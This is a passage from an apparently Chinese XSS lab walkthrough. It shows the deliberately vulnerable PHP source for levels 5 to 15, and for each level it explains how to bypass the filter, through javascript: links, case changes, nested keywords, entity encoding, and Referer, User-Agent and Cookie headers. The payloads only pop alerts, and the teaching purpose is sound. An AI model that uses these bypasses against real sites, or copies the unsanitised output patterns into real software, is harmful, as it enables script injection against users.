标签中构造闭合双引号来构造事件来触发并用不到尖括号,所以第 2 关的 payload 依然适用。
payload
" onclick= alert ( 'XSS' )
第 5 关 javascript 伪协议
源码
<?php
ini_set ( "display_errors" , 0 ) ;
$str = strtolower ( $_GET [ "keyword" ] ) ;
$str2 = str_replace ( "<script" , "<scr_ipt" , $str ) ;
$str3 = str_replace ( "on" , "o_n" , $str2 ) ;
echo "<h2 align=center>没有找到和" . htmlspecialchars ( $str ) . "相关的结果.</h2>" . '<center>
<form action=level5.php method=GET>
<input name=keyword value="' . $str3 . '">
<input type=submit name=submit value=搜索 />
</form>
</center>' ;
?>
首先对 keyword 变量使用了 strtolower()
函数转换,把所有字符转换为小写;接着过滤了 <script
,并替换为 <scr_ipt
;过滤了 on
并替换为 o_n
。因为 on
是很多事件都包含的关键词,所以这里无法直接通过闭合引号在 input
标签中来触发弹窗了,但是可以闭合双引号和标签,然后通过 javascript:alert('XSS')
这种形式来触发弹窗。
payload
"> < a href= javascript: alert ( 'XSS' )
第 6 关 大小写转换
源码
<?php
ini_set ( "display_errors" , 0 ) ;
$str = $_GET [ "keyword" ] ;
$str2 = str_replace ( "<script" , "<scr_ipt" , $str ) ;
$str3 = str_replace ( "on" , "o_n" , $str2 ) ;
$str4 = str_replace ( "src" , "sr_c" , $str3 ) ;
$str5 = str_replace ( "data" , "da_ta" , $str4 ) ;
$str6 = str_replace ( "href" , "hr_ef" , $str5 ) ;
echo "<h2 align=center>没有找到和" . htmlspecialchars ( $str ) . "相关的结果.</h2>" . '<center>
<form action=level6.php method=GET>
<input name=keyword value="' . $str6 . '">
<input type=submit name=submit value=搜索 />
</form>
</center>' ;
?>
比第 5 关加入了很多的过滤规则,而且过滤了 href
属性,这样就无法使用 javascript:alert()
这种形势来弹窗了,但是仔细观察源码,这里少了第 5 关的 strtolower()
函数,所以这里可以通过大小写转换来绕过过滤。
payload1
" Onclick= alert ( 'XSS' )
payload2
"> < a Href= javascript: alert ( 'XSS' )
第 7 关 嵌套构造
源码
<?php
ini_set ( "display_errors" , 0 ) ;
$str = strtolower ( $_GET [ "keyword" ] ) ;
$str2 = str_replace ( "script" , "" , $str ) ;
$str3 = str_replace ( "on" , "" , $str2 ) ;
$str4 = str_replace ( "src" , "" , $str3 ) ;
$str5 = str_replace ( "data" , "" , $str4 ) ;
$str6 = str_replace ( "href" , "" , $str5 ) ;
echo "<h2 align=center>没有找到和" . htmlspecialchars ( $str ) . "相关的结果.</h2>" . '<center>
<form action=level7.php method=GET>
<input name=keyword value="' . $str6 . '">
<input type=submit name=submit value=搜索 />
</form>
</center>' ;
?>
在第 6 关的基础上,首先还统一使用了 strtolower()
函数,将 keyword 变量的值转换了小写,这样就无法直接使用大小写转换的思路来绕过了。但是这里的过滤比较巧妙,是直接将敏感字符替换为空(即删掉了),这种机制我们可以尝试使用嵌套构造 payload 来绕过。
payload
" oonnclick= alert ( 'XSS' )
第 8 关 HTML 编码
源码
<?php
ini_set ( "display_errors" , 0 ) ;
$str = strtolower ( $_GET [ "keyword" ] ) ;
$str2 = str_replace ( "script" , "scr_ipt" , $str ) ;
$str3 = str_replace ( "on" , "o_n" , $str2 ) ;
$str4 = str_replace ( "src" , "sr_c" , $str3 ) ;
$str5 = str_replace ( "data" , "da_ta" , $str4 ) ;
$str6 = str_replace ( "href" , "hr_ef" , $str5 ) ;
$str7 = str_replace ( '"' , '"' , $str6 ) ;
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="' . htmlspecialchars ( $str ) . '">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>' ;
?>
<?php
echo '<center><BR><a href="' . $str7 . '">友情链接</a></center>' ;
?>
这里的过滤规则很完善,基本上都过滤掉了可能触发弹窗的一些字符串。同时有 2 个输出,一个输出在了 input
标签中,并且通过 htmlspecialchars($str)
函数实体化后输出来,这里基本上是凉凉了。看第 2 个输出,是在 center
标签中,而且没有过滤,直接输出在了双引号 "
之间,当作字符串处理,利用当作字符串处理的特点,可以直接将我们的 payload HTML 使用 HTML 实体字符编码绕过,有因为直接输出在了 href
的属性里面,所以可以尝试 javascript()
这种形式来触发弹窗。
j 将 t
编码为 t
payload1
javascript:alert('XSS') //
也可以将 Tab键
编码或者回车
键编码来插入来 Bypass
payload2
javascrip& #x09; t: alert ( 'XSS' )
javascrip& #x0a; t: alert ( 'XSS' )
第 9 关 阅读源码
源码
<?php
ini_set ( "display_errors" , 0 ) ;
$str = strtolower ( $_GET [ "keyword" ] ) ;
$str2 = str_replace ( "script" , "scr_ipt" , $str ) ;
$str3 = str_replace ( "on" , "o_n" , $str2 ) ;
$str4 = str_replace ( "src" , "sr_c" , $str3 ) ;
$str5 = str_replace ( "data" , "da_ta" , $str4 ) ;
$str6 = str_replace ( "href" , "hr_ef" , $str5 ) ;
$str7 = str_replace ( '"' , '"' , $str6 ) ;
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="' . htmlspecialchars ( $str ) . '">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>' ;
?>
<?php
if ( false === strpos ( $str7 , 'http://' ) )
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>' ;
}
else
{
echo '<center><BR><a href="' . $str7 . '">友情链接</a></center>' ;
}
?>
这里只是比第 8 关多了到对提交的 keyword 里面是否有 http://
的检测,所以 Bypass 的话就很简单,直接在第 8 关的 payload 后面添加:http://
payload
javascrip& #x74; : alert ( 'XSS' )
第 10 关 覆盖元素属性
源码
<?php
ini_set ( "display_errors" , 0 ) ;
$str = $_GET [ "keyword" ] ;
$str11 = $_GET [ "t_sort" ] ;
$str22 = str_replace ( ">" , "" , $str11 ) ;
$str33 = str_replace ( "<" , "" , $str22 ) ;
echo "<h2 align=center>没有找到和" . htmlspecialchars ( $str ) . "相关的结果.</h2>" . '<center>
<form id=search>
<input name="t_link" value="' . '" type="hidden">
<input name="t_history" value="' . '" type="hidden">
<input name="t_sort" value="' . $str33 . '" type="hidden">
</form>
</center>' ;
?>
可以看出这里 keyword 变量依然没戏,被 HTML 实体化输出了出来,所以重点放在 t_sort
这个标签上,只过滤了尖括号,然后就直接输出到了 input
标签中,所以这里可以尝试直接在标签中闭合构造事件来弹窗,还得注意一点就是这里的 input
标签使用了 type="hidden"
将输入框隐藏了起来,可以手动赋值 type
的值来覆盖掉先前的属性来达到显示文本框的目的。
payload
level10. php? keyword= 233 & t_sort= " type=" " onclick= alert ( 'XSS' )
第 11 关 HTTP Referer
源码
<?php
ini_set ( "display_errors" , 0 ) ;
$str = $_GET [ "keyword" ] ;
$str00 = $_GET [ "t_sort" ] ;
$str11 = $_SERVER [ 'HTTP_REFERER' ] ;
$str22 = str_replace ( ">" , "" , $str11 ) ;
$str33 = str_replace ( "<" , "" , $str22 ) ;
echo "<h2 align=center>没有找到和" . htmlspecialchars ( $str ) . "相关的结果.</h2>" . '<center>
<form id=search>
<input name="t_link" value="' . '" type="hidden">
<input name="t_history" value="' . '" type="hidden">
<input name="t_sort" value="' . htmlspecialchars ( $str00 ) . '" type="hidden">
<input name="t_ref" value="' . $str33 . '" type="hidden">
</form>
</center>' ;
?>
看变量的输出基本上可以判定 $str
和 $str00
变量没戏,也就是我们可以控制的 keyword
和 t_sort
变量是无法突破限制来弹窗的。观察 $str33
是通过 $str11=$_SERVER['HTTP_REFERER'];
过滤了尖括号然后赋值的,那么尝试在 HTTP 请求头的 Referer
构造 payload。
使用 hackbar
或者 BurpSuite
可以很方便地改写 HTTP 请求头地 Referer
字段:
payload
Referer : " type=" " onclick= alert ( 'XSS' )
第 12 关 HTTP User-Agent
源码
<?php
ini_set ( "display_errors" , 0 ) ;
$str = $_GET [ "keyword" ] ;
$str00 = $_GET [ "t_sort" ] ;
$str11 = $_SERVER [ 'HTTP_USER_AGENT' ] ;
$str22 = str_replace ( ">" , "" , $str11 ) ;
$str33 = str_replace ( "<" , "" , $str22 ) ;
echo "<h2 align=center>没有找到和" . htmlspecialchars ( $str ) . "相关的结果.</h2>" . '<center>
<form id=search>
<input name="t_link" value="' . '" type="hidden">
<input name="t_history" value="' . '" type="hidden">
<input name="t_sort" value="' . htmlspecialchars ( $str00 ) . '" type="hidden">
<input name="t_ua" value="' . $str33 . '" type="hidden">
</form>
</center>' ;
?>
这一题和上一题类似,只是这里的漏洞点出现在了 HTTP 请求头的 User-Agent
。
使用 hackbar
或者 BurpSuite
可以很方便地改写 HTTP 请求头地 User-Agent
字段:
payload
User- Agent: " type=" " onclick= alert ( 'XSS' )
第 13 关 HTTP Cookie
源码
<?php
setcookie ( "user" , "call me maybe?" , time ( ) + 3600 ) ;
ini_set ( "display_errors" , 0 ) ;
$str = $_GET [ "keyword" ] ;
$str00 = $_GET [ "t_sort" ] ;
$str11 = $_COOKIE [ "user" ] ;
$str22 = str_replace ( ">" , "" , $str11 ) ;
$str33 = str_replace ( "<" , "" , $str22 ) ;
echo "<h2 align=center>没有找到和" . htmlspecialchars ( $str ) . "相关的结果.</h2>" . '<center>
<form id=search>
<input name="t_link" value="' . '" type="hidden">
<input name="t_history" value="' . '" type="hidden">
<input name="t_sort" value="' . htmlspecialchars ( $str00 ) . '" type="hidden">
<input name="t_cook" value="' . $str33 . '" type="hidden">
</form>
</center>' ;
?>
这里的漏洞点出现在了 HTTP 请求头的 Cookie
的 user
属性中。
使用 hackbar
或者 BurpSuite
可以很方便地改写 HTTP 请求头地 Cookie
字段:
payload
Cookie: user=" type="" onclick=alert('XSS') //
第 14 关 Angular JS
源码
< script src = " https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js" > </ script>
<?php
ini_set ( "display_errors" , 0 ) ;
$str = $_GET [ "src" ] ;
echo '<body><span class="ng-include:' . htmlspecialchars ( $str ) . '"></span></body>' ;
?>
这题考察 Angular JS
的 ng-include
用法,具体可以参考这篇资料:AngularJS ng-include 指令
ng-include 指令用于包含外部的 HTML 文件,包含的内容将作为指定元素的子节点。ng-include
属性的值可以是一个表达式,返回一个文件名。默认情况下,包含的文件需要包含在同一个域名下。所以这里就用来包含其他关的页面来触发弹窗。
payload
level14. php? src= "level1.php?name=<img src=x onerror=alert('XSS')>"
第 15 关 过滤空格
源码
<?php
ini_set ( "display_errors" , 0 ) ;
$str = strtolower ( $_GET [ "keyword" ] ) ;
$str2 = str_replace ( "script" , " " , $str ) ;
$str3 = str_replace ( " " , " " , $str2 ) ;
$str4 = str_replace ( "/" , " " , $str3 ) ;
$str5 = str_replace ( " " , " " , $str4 ) ;
echo "<center>" . $str5 . "</center>" ;
?>
这里过滤掉了 script 标签,可以尝试使用其他标签通过事件来弹窗,但是也过滤了空格。
可以使用如下符号替代空格
符号
URL 编码
回车 (CR)
%0d
换行 (LF)
%0a
???求补充
%0c
payload
文章来源:https://www.sqlsec.com/2020/01/xss.html
共有 0 条评论